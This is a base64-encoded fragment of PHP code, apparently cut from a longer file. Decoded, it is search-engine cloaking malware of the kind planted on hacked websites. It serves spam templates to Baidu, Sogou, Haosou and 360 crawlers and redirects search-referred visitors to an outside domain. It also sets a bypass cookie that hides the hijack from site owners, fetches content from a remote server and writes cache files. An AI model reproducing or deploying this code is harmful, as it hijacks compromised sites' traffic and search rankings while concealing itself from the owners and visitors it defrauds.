YSk7CgkJJHRoaXMtPmNvbnRlbnQgPSAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBydW4oKXsKCQkkdGhpcy0+ZG9tYWluID0gJHRoaXMtPmdldFNlcnZlck5hbWUo KTsKCQkkdGhpcy0+anVtcF9yZWYgPSBleHBsb2RlKCJ8IiwiYmFpZHUufGhhb3NvLnxoYW9zb3Uu fGJpbmcufHNvLnxzb2dvdS58c29zby4iKTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhw bG9kZSgifCIsImludXJsOnxzaXRlOnxzaXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93 X2lwID0gIjIyMi4xODQuMjM0fDExMi44Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRo aXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsnYWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxv d2RJcCgpKTsKCQkkdGhpcy0+YXBwX3NlcnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZh bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK